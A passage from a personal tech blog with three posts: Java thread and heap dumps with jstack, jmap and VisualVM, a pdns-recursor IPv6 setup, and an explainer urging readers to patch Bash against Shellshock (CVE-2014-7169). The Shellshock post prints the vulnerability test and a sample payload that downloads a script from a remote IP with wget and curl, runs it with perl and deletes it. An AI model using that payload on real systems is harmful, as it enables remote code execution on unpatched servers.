final AtomicInteger threadNumber = new AtomicInteger(1);
final String namePrefix;
final String[] minions;

public GruThreadFactory(String[] minions) {
SecurityManager s = System.getSecurityManager();
group = (s != null) ? s.getThreadGroup() : Thread.currentThread().getThreadGroup();
namePrefix = "GruPool-" + poolNumber.getAndIncrement() + "-thread-";
this.minions = minions;
}

@Override
public Thread newThread(Runnable r) {
int index = new Random().nextInt(minions.length);
final Thread t = new Thread(group, r, namePrefix + minions[index], 0);
if (t.isDaemon())
t.setDaemon(false);
if (t.getPriority() != Thread.NORM_PRIORITY)
t.setPriority(Thread.NORM_PRIORITY);
return t;
}

}

and then out main app to bind the ThreadFactory and the workers.
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;


public class MainApp {

/**
* @param args
* @throws InterruptedException
*/
public static void main(String[] args) throws InterruptedException {
ThreadFactory GruFactory = null;
ExecutorService exec = null;

try {
String[] minions = {"Dave", "Stuart", "Kevin", "Jerry", "Carl", "Phil", "Paul", "Mike", "Jorge"};
GruFactory = new GruThreadFactory(minions);
exec = Executors.newFixedThreadPool(minions.length, GruFactory);

for (int i = 0; i < 90; i++) {
Minion m = new Minion();
exec.execute(m);
}
exec.shutdown();
while (!exec.isTerminated()) {

}

} catch (Exception e) {
e.printStackTrace();
} finally {

System.out.println("done");
}

}

}

Now to check. Output below is from the modified version. Note that you may have different output than mine but that is as expected. I paste only a few lines below.
minion GruPool-1-thread-Mike eating banana 
minion GruPool-1-thread-Phil eating banana
minion GruPool-1-thread-Mike eating apple
minion GruPool-1-thread-Stuart eating banana
minion GruPool-1-thread-Mike done eat apple
minion GruPool-1-thread-Paul eating banana
minion GruPool-1-thread-Stuart done eat banana
minion GruPool-1-thread-Stuart eating apple
minion GruPool-1-thread-Stuart done eat apple
minion GruPool-1-thread-Stuart eating apple
minion GruPool-1-thread-Stuart done eat apple
minion GruPool-1-thread-Stuart eating banana
..
..
minion GruPool-1-thread-Paul done eat apple
minion GruPool-1-thread-Jorge eating apple
minion GruPool-1-thread-Jorge done eat apple
minion GruPool-1-thread-Mike done eat banana
minion GruPool-1-thread-Paul done eat banana
minion GruPool-1-thread-Mike done eat banana
minion GruPool-1-thread-Jerry done eat banana
minion GruPool-1-thread-Stuart done eat banana
minion GruPool-1-thread-Mike done eat banana
done

So far so good, our app work.

How to get a stack dump?

In order to get a stack dump, you can use jstack. When you install jdk, jstack came with it. To get the stack dump,
jstack -F 19557  &> jstack.log

where 19557 is the pid of the java process and we redirected stdout and stderr to a file. There are several command to get the process id, you can either use ps or java jps. Output as attached.
Attaching to process ID 19557, please wait...
Debugger attached successfully.
Server compiler detected.
JVM version is 20.6-b01
Deadlock Detection:

No deadlocks found.

Thread 19586: (state = BLOCKED)
- java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
- Minion.run() @bci=55, line=18 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
- java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19585: (state = BLOCKED)
- java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
- Minion.run() @bci=55, line=18 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
- java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19584: (state = BLOCKED)
- java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
- Minion.run() @bci=55, line=18 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
- java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19583: (state = BLOCKED)
- java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
- Minion.run() @bci=55, line=18 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
- java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19582: (state = BLOCKED)
- java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
- Minion.run() @bci=55, line=18 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
- java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19581: (state = BLOCKED)
- java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
- Minion.run() @bci=55, line=18 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
- java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19580: (state = BLOCKED)
- java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
- Minion.run() @bci=55, line=18 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
- java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19579: (state = BLOCKED)
- java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
- Minion.run() @bci=55, line=18 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
- java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19578: (state = BLOCKED)
- java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
- Minion.run() @bci=55, line=18 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
- java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
- java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19573: (state = BLOCKED)


Thread 19572: (state = BLOCKED)
- java.lang.Object.wait(long) @bci=0 (Interpreted frame)
- java.lang.ref.ReferenceQueue.remove(long) @bci=44, line=118 (Interpreted frame)
- java.lang.ref.ReferenceQueue.remove() @bci=2, line=134 (Interpreted frame)
- java.lang.ref.Finalizer$FinalizerThread.run() @bci=3, line=159 (Interpreted frame)


Thread 19571: (state = BLOCKED)
- java.lang.Object.wait(long) @bci=0 (Interpreted frame)
- java.lang.Object.wait() @bci=2, line=485 (Interpreted frame)
- java.lang.ref.Reference$ReferenceHandler.run() @bci=46, line=116 (Interpreted frame)


Thread 19564: (state = IN_JAVA)
- MainApp.main(java.lang.String[]) @bci=119, line=28 (Compiled frame; information may be imprecise)

jstack output show

  • it has 9 threads with Minion.run().

  • no deadlocks

  • individual thread state was blocked because it was sleeping.

  • main thread state is in IN_JAVA which is running in Java or in stub code.


Another useful information could probably be thread dump. With visualvm, you can actually see the thread running over time, I recorded a video and you should try to watch it.

http://www.youtube.com/watch?v=REoi6sbcIUY

Also see the thread dump capture using VisualVM
2014-10-07 22:58:32
Full thread dump Java HotSpot(TM) 64-Bit Server VM (20.6-b01 mixed mode):

"RMI TCP Connection(2)-127.0.0.1" daemon prio=10 tid=0x00007fd5c0003000 nid=0x646c runnable [0x00007fd618af8000]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at java.io.BufferedInputStream.fill(BufferedInputStream.java:218)
at java.io.BufferedInputStream.read(BufferedInputStream.java:237)
- locked <0x00000007d7ece620> (a java.io.BufferedInputStream)
at java.io.FilterInputStream.read(FilterInputStream.java:66)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:517)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:790)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:649)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d79e3908> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"JMX server connection timeout 22" daemon prio=10 tid=0x00007fd5b4008000 nid=0x6464 in Object.wait() [0x00007fd618bf9000]
java.lang.Thread.State: TIMED_WAITING (on object monitor)
at java.lang.Object.wait(Native Method)
- waiting on <0x00000007d7b6ddb8> (a [I)
at com.sun.jmx.remote.internal.ServerCommunicatorAdmin$Timeout.run(ServerCommunicatorAdmin.java:150)
- locked <0x00000007d7b6ddb8> (a [I)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- None

"RMI Scheduler(0)" daemon prio=10 tid=0x00007fd5b4004800 nid=0x6463 waiting on condition [0x00007fd618cfa000]
java.lang.Thread.State: TIMED_WAITING (parking)
at sun.misc.Unsafe.park(Native Method)
- parking to wait for <0x00000007d799dc18> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025)
at java.util.concurrent.DelayQueue.take(DelayQueue.java:164)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:609)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:602)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:947)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:907)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- None

"RMI TCP Connection(1)-127.0.0.1" daemon prio=10 tid=0x00007fd5c0001800 nid=0x6462 runnable [0x00007fd618efc000]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at java.io.BufferedInputStream.fill(BufferedInputStream.java:218)
at java.io.BufferedInputStream.read(BufferedInputStream.java:237)
- locked <0x00000007d7b1e8f8> (a java.io.BufferedInputStream)
at java.io.FilterInputStream.read(FilterInputStream.java:66)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:517)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:790)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:649)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d79e3430> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"RMI TCP Accept-0" daemon prio=10 tid=0x00007fd5bc424800 nid=0x6460 runnable [0x00007fd618ffd000]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
- locked <0x00000007d79ac788> (a java.net.SocksSocketImpl)
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
at java.net.ServerSocket.accept(ServerSocket.java:430)
at sun.management.jmxremote.LocalRMIServerSocketFactory$1.accept(LocalRMIServerSocketFactory.java:34)
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:369)
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:341)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- None

"Attach Listener" daemon prio=10 tid=0x00007fd5f4001000 nid=0x645e waiting on condition [0x0000000000000000]
java.lang.Thread.State: RUNNABLE

Locked ownable synchronizers:
- None

"GruPool-1-thread-Paul" prio=10 tid=0x00007fd61c0f8000 nid=0x6451 waiting on condition [0x00007fd620898000]
java.lang.Thread.State: TIMED_WAITING (sleeping)
at java.lang.Thread.sleep(Native Method)
at Minion.run(Minion.java:18)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d706f6c8> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Carl" prio=10 tid=0x00007fd61c0f6000 nid=0x6450 waiting on condition [0x00007fd620999000]
java.lang.Thread.State: TIMED_WAITING (sleeping)
at java.lang.Thread.sleep(Native Method)
at Minion.run(Minion.java:18)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d706f3f0> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Jorge" prio=10 tid=0x00007fd61c0f4000 nid=0x644f waiting on condition [0x00007fd620a9a000]
java.lang.Thread.State: TIMED_WAITING (sleeping)
at java.lang.Thread.sleep(Native Method)
at Minion.run(Minion.java:18)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d706f168> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Dave" prio=10 tid=0x00007fd61c0f2000 nid=0x644e waiting on condition [0x00007fd620b9b000]
java.lang.Thread.State: TIMED_WAITING (sleeping)
at java.lang.Thread.sleep(Native Method)
at Minion.run(Minion.java:18)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d706eee0> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Phil" prio=10 tid=0x00007fd61c0f0000 nid=0x644d waiting on condition [0x00007fd620c9c000]
java.lang.Thread.State: TIMED_WAITING (sleeping)
at java.lang.Thread.sleep(Native Method)
at Minion.run(Minion.java:18)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d706ec58> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Jorge" prio=10 tid=0x00007fd61c0ee000 nid=0x644c waiting on condition [0x00007fd620d9d000]
java.lang.Thread.State: TIMED_WAITING (sleeping)
at java.lang.Thread.sleep(Native Method)
at Minion.run(Minion.java:18)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d706e9a0> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Carl" prio=10 tid=0x00007fd61c0ec800 nid=0x644b waiting on condition [0x00007fd620e9e000]
java.lang.Thread.State: TIMED_WAITING (sleeping)
at java.lang.Thread.sleep(Native Method)
at Minion.run(Minion.java:18)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d706e718> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Dave" prio=10 tid=0x00007fd61c0eb000 nid=0x644a waiting on condition [0x00007fd620f9f000]
java.lang.Thread.State: TIMED_WAITING (sleeping)
at java.lang.Thread.sleep(Native Method)
at Minion.run(Minion.java:18)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d706e490> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Mike" prio=10 tid=0x00007fd61c0e9800 nid=0x6449 waiting on condition [0x00007fd6210a0000]
java.lang.Thread.State: TIMED_WAITING (sleeping)
at java.lang.Thread.sleep(Native Method)
at Minion.run(Minion.java:18)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)

Locked ownable synchronizers:
- <0x00000007d706d8e8> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"Low Memory Detector" daemon prio=10 tid=0x00007fd61c094000 nid=0x6447 runnable [0x0000000000000000]
java.lang.Thread.State: RUNNABLE

Locked ownable synchronizers:
- None

"C2 CompilerThread1" daemon prio=10 tid=0x00007fd61c092000 nid=0x6446 waiting on condition [0x0000000000000000]
java.lang.Thread.State: RUNNABLE

Locked ownable synchronizers:
- None

"C2 CompilerThread0" daemon prio=10 tid=0x00007fd61c08f000 nid=0x6445 waiting on condition [0x0000000000000000]
java.lang.Thread.State: RUNNABLE

Locked ownable synchronizers:
- None

"Signal Dispatcher" daemon prio=10 tid=0x00007fd61c08d000 nid=0x6444 runnable [0x0000000000000000]
java.lang.Thread.State: RUNNABLE

Locked ownable synchronizers:
- None

"Finalizer" daemon prio=10 tid=0x00007fd61c071000 nid=0x6443 in Object.wait() [0x00007fd62182f000]
java.lang.Thread.State: WAITING (on object monitor)
at java.lang.Object.wait(Native Method)
- waiting on <0x00000007d7001300> (a java.lang.ref.ReferenceQueue$Lock)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118)
- locked <0x00000007d7001300> (a java.lang.ref.ReferenceQueue$Lock)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134)
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:159)

Locked ownable synchronizers:
- None

"Reference Handler" daemon prio=10 tid=0x00007fd61c06f000 nid=0x6442 in Object.wait() [0x00007fd621930000]
java.lang.Thread.State: WAITING (on object monitor)
at java.lang.Object.wait(Native Method)
- waiting on <0x00000007d70011d8> (a java.lang.ref.Reference$Lock)
at java.lang.Object.wait(Object.java:485)
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116)
- locked <0x00000007d70011d8> (a java.lang.ref.Reference$Lock)

Locked ownable synchronizers:
- None

"main" prio=10 tid=0x00007fd61c00a800 nid=0x643c runnable [0x00007fd623a7f000]
java.lang.Thread.State: RUNNABLE
at MainApp.main(MainApp.java:28)

Locked ownable synchronizers:
- None

"VM Thread" prio=10 tid=0x00007fd61c068800 nid=0x6441 runnable

"GC task thread#0 (ParallelGC)" prio=10 tid=0x00007fd61c01d800 nid=0x643d runnable

"GC task thread#1 (ParallelGC)" prio=10 tid=0x00007fd61c01f800 nid=0x643e runnable

"GC task thread#2 (ParallelGC)" prio=10 tid=0x00007fd61c021000 nid=0x643f runnable

"GC task thread#3 (ParallelGC)" prio=10 tid=0x00007fd61c023000 nid=0x6440 runnable

"VM Periodic Task Thread" prio=10 tid=0x00007fd61c09e800 nid=0x6448 waiting on condition

JNI global references: 948

How to get a heap dump?

To get a heap dump, we will use jmap. Just like jstack, jmap also come with jdk installation. To get a heap dump, run the command such as below.
user@localhost:~$ jmap -dump:format=b,file=myapp.hprof 26266
Dumping heap to /home/user/myapp.hprof ...
Heap dump file created

Then you can inspect using visualvm. See the following screenshot.

visualvm_instances visualvm_classes visualvm_mainAs you can see, the classes and instance give a lot of information about how much instances it created and it occupied for the size.

With all these method written out, I hope the next time this exception happen to you, get know what are the tools and steps needed to start investigating into the cause.

Good luck!

Sunday, October 26, 2014

How to configure pdns-recursor to support IPv6 and configure Unique Local Address in a Stateless Address Configuration network

In this article, we will learn how to configure pdns-recursor. Because I have a stateless auto configuration from my ISP, each time my router rebooted, I get different IPv6 subnet. In this case, we will use a private address for our network. In IPv6, it is known as unique local address or ULA. There will be some steps involve and be patient and follow this article, hopefully in the end, you will enjoy the benefit too as I did.

First, let's generate ULA for our network. There are several ways to generate and I provided you a few.

First three commands, it is generated from the web and the last is a command you can generate via terminal. As an example for this article, I will use the following.
Network       = fd2e:66b6:60c8:: / 64
Netmask = ffff:ffff:ffff:ffff::
Wildcard Mask = ::ffff:ffff:ffff:ffff
Hosts Bits = 64
Max. Hosts = 18446744073709551616 (2^64 - 1)
Host Range = { fd2e:66b6:60c8::1 - fd2e:66b6:60c8:0:ffff:ffff:ffff:ffff }

Next we will set IP address accordingly to the system. We will have a server and a client. To make simple and easy for this article, we will use the example previously by extending to the server and client. Let's choose now.

server fd2e:66b6:60c8::192:168:133:20
client fd2e:66b6:60c8::192:168:133:90

Notice the IP address, the address end with address from IPv4. easier to remember. hopefully. To test quickly, we can set the server and client using the following command.
server => ip -6 addr add fd2e:66b6:60c8::192:168:133:20/64 dev eth0
client => ip -6 addr add fd2e:66b6:60c8::192:168:133:90/64 dev wlan0

Now down the road, if you are happy, you might want to make it permanent so the setting survive over a system reboot. To make it permanent, it is depending on the operating system you are using. I will show you how I do it in ubuntu (server) and debian (client).

In ubuntu, add addtional entry in /etc/network/interfaces
iface eth0 inet6 static
pre-up modprobe ipv6
address fd2e:66b6:60c8::192:168:133:20
netmask 64

In debian, using network-manager applet, go to the IPv6 Settings tab. See screenshot.

network-manager_applet

Method, select Automatic, addresses only. We want only the public IPv6 address from router but in the DNS servers field, provide the server IP address. In this example fd2e:66b6:60c8::192:168:133:20. Save the settings and close the windows.

Right now your client should have public IPv6 address and DNS from server configured. But what about the private IP for this client? Because when the interface is bring up, we will set the wireless lan interface for the ip. network-manager will call the script in /etc/network/if-up.d/. So add a script to set the address accordingly. Example
user@localhost:~$ cat /etc/network/if-up.d/addPrivateIPv6 
#!/bin/bash

IF=$IFACE
STATUS=$MODE


if [ "$IF" = "wlan0" ]; then
case "$STATUS" in
up)
logger -s "NM Script up triggered"
;;
start)
logger -s "NM Script up triggered"
ip -6 addr add fd2e:66b6:60c8::192:168:133:90/64 dev wlan0
;;
down)
logger -s "NM Script down triggered"
;;
pre-up)
logger -s "NM Script pre-up triggered"
;;
post-down)
logger -s "NM Script post-down triggered"
;;
*)
;;
esac
fi

The important is when the interface is wlan0 and status is up, the address will be set accordingly. Okay, we will check now in the server and client. You can use the command ip addr show.
   eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:00:00:00:00:00 00 ff:ff:ff:ff:ff:ff
inet 192.168.133.20/24 brd 192.168.133.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 2001:0:0:0:0:0:0:0/64 scope global dynamic
valid_lft 86397sec preferred_lft 14397sec
inet6 fd2e:66b6:60c8::192:168:133:20/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::0:0:0:0/64 scope link
valid_lft forever preferred_lft forever


wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000
link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
inet 192.168.133.90/24 brd 192.168.133.255 scope global wlan0
valid_lft forever preferred_lft forever
inet6 fd2e:66b6:60c8::192:168:133:90/64 scope global
valid_lft forever preferred_lft forever
inet6 2001:0:0:0:0:0:0:0/64 scope global dynamic
valid_lft 86396sec preferred_lft 14396sec
inet6 fe80::0:0:0:0/64 scope link
valid_lft forever preferred_lft forever

So all good, the server and client get SLAAC address from router and they have their own private IP address. Fantastic!

Next, I will assume that you have pdns-recursor  installed and configured. If you don't, it is as easily as apt-get install pdns-recursor. To resolve IPv6 address correctly, below are some configuration you need to change.

edit this file /etc/powerdns/recursor.conf and change the following.

  • aaaa-additional-processing=yes
    turn off processing for ipv6

  • allow-from=127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, ::1/128, fe80::/10, fd2e:66b6:60c8::/64
    allow dns query from localhost, link local and the subnet fd2e:66b6:60c8. This is an example, change the subnet address accordingly to your settings.

  • local-address=127.0.0.1, 192.168.0.2, 192.168.5.1, ::1, fd11:b788:830f:8dc2:192.168.133.20
    local address of the system. Again, as this is an example, you should change to your value.

  • query-local-address6=fd11:b788:830f:8dc2:192.168.133.20
    your system local address. Again, as this is an example, you should change to your value.


Now restart pdns-recursor and check syslog if there is any error.

We are good, we done with the configuration. Now one last step, we test it!
user@localhost:~$ dig aaaa google.com @fd11:b788:830f:8dc2:192.168.133.20

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> aaaa google.com @fd11:b788:830f:8dc2:192.168.133.20
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7269
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com. IN AAAA

;; ANSWER SECTION:
google.com. 300 IN AAAA 2404:6800:4001:805::1000

;; Query time: 34 msec
;; SERVER: fd11:b788:830f:8dc2:192.168.133.20#53(fd11:b788:830f:8dc2:192.168.133.20)
;; WHEN: Fri Sep 26 21:42:23 2014
;; MSG SIZE rcvd: 56

voila, it works! :)

Saturday, October 25, 2014

Why is CVE-2014-7169 is important and you should patch your system

Recently I have come across this link and read about it. Before we go into the details. Let's understand what is it.

From Red Hat errata https://rhn.redhat.com/errata/RHSA-2014-1306.html

It was found that the fix for CVE-2014-6271 was incomplete, and Bash still
allowed certain characters to be injected into other environments via
specially crafted environment variables. An attacker could potentially use
this flaw to override or bypass environment restrictions to execute shell
commands. Certain services and applications allow remote unauthenticated
attackers to provide environment variables, allowing them to exploit this
issue. (CVE-2014-7169)

So let's check my system. Hmm.. my local host is affected :-)
jason@localhost:~$ env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"
vulnerable
this is a test
jason@localhost:~$ whoami
jason

But what is this important? the user still using his own privileged. It turn out to be this exploit allow remote attacker to execute the script remotely. Let's change the script a bit.
() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur"

See the point? Does it look scarry? A remote script is downloaded to your system, and execute it. So any local services that use shell for interpretation basically is vulnerable and you should patch bash as soon as possible. As of this moment of writing, the patch is out. In CentOS 7, the patched is included in the package bash-4.2.45-5.el7_0.4.x86_64. Read the changelog below.
* Thu Sep 25 2014 Ondrej Oprala <ooprala@redhat.com> - 4.2.45-5.4
- CVE-2014-7169
Resolves: #1146324

Below are some service which uses bash and if your system use some of it, you should know what to do.

  • ForceCommand is used in sshd configs to provide limited command execution capabilities for remote users. This flaw can be used to bypass that and provide arbitrary command execution. Some Git and Subversion deployments use such restricted shells. Regular use of OpenSSH is not affected because users already have shell access.

  • Apache server using mod_cgi or mod_cgid are affected if CGI scripts are either written in Bash, or spawn subshells. Such subshells are implicitly used by system/popen in C, by os.system/os.popen in Python, system/exec in PHP (when run in CGI mode), and open/system in Perl if a shell is used (which depends on the command string).

  • PHP scripts executed with mod_php are not affected even if they spawn subshells.

  • DHCP clients invoke shell scripts to configure the system, with values taken from a potentially malicious server. This would allow arbitrary commands to be run, typically as root, on the DHCP client machine.

  • Various daemons and SUID/privileged programs may execute shell scripts with environment variable values set / influenced by the user, which would allow for arbitrary commands to be run.

  • Any other application which is hooked onto a shell or runs a shell script as using Bash as the interpreter. Shell scripts which do not export variables are not vulnerable to this issue, even if they process untrusted content and store it in (unexported) shell variables and open subshells.


Thanks, that's it for this article. Be good and stay safe.